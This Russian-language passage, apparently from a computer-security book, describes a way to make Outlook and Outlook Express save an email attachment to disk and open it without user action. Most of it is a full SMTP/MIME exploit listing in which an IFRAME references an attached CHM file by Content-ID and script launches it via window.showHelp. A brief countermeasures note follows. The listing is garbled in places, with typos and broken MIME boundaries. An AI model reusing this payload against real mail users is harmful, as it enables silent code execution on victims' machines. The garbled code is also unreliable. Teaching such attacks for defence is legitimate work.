Запись вложений на диск без участия пользователя
Ниже представлена капсула, демонстрирующая применение описанного подхода. Обратите внимание на то, что файл СНМ должен быть упакован с помощью утилиты mpack (см. раздел "Сто и один способ взлома электронной почты").
helo somedoir.ain.com mail from: <mallory@attacker.net> rcpt to: <hapless@victim.net> data subject: This one takes the cake! Importance: high MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_boundaryl_" --_boundaryl_-- Content-Type: multipart/ALTernative, boundsry="_boundary2_" --_boundary2_-- Content-Type: text/html; charset=us-ascii <IFRAME align=3Dbaseline ALT=3D"" = border=3DO hspace=3DO=20 src=3D"cid:5551212"></IFRAME> <SCRIPT> setTimeout('window.showHelp ("c:/windows/temp/abcde.chm");',1000); setTimeout('window.showHelp ("c:/temp/abcde.chm");',1000}; setTimeout('window.showHelp ("C:/docume-l/admini~l/locals~l/temp/abcde. chm"}; ',1000}; </SCRIPT> --_boundary2 – --_boundaryl_-- Content-Type: application/binary; name="abcde.chm" Content-ID: <5551212> Content-Transfer-Encoding: base64 [Закодируйте файл abode.chm с помощью утилиты mpack и вставьте его здесь] – _boundaryl_– quit
В процессе тестирования, выполненного авторами на программах Outlook и Outlook Express, установленных в системах Windows 9x, NT и 2000, этот метод работал безотказно, чаще всего в режиме предварительного просмотра. Строки, которые начинаются с setTimeout, задают каталог каждой из трех операционных систем. Сможете ли вы установить между ними соответствие?
Одним из ключевых элементов приведенного листинга является поле Content-ID. В нашем примере в этом поле введено число 5551212. Параметр scr дескриптора IFRAME, который содержится в теле сообщения, ссылается на идентификатор вложения этого сообщения, имеющего формат MIME. При этом возникает остроумно задуманная циклическая ссылка, позволяющая записать вложение на диск и обратиться к нему из одного и того же почтового сообщения.
Контрмеры против использования дескрипторах FRAME
Единственной защитой против атак такого рода является осторожное обращение с элементами управления ActiveX, как упоминалось в разделе, посвященном зонам безопасности. О выпуске соответствующего модуля обновления компания Microsoft не позаботилась.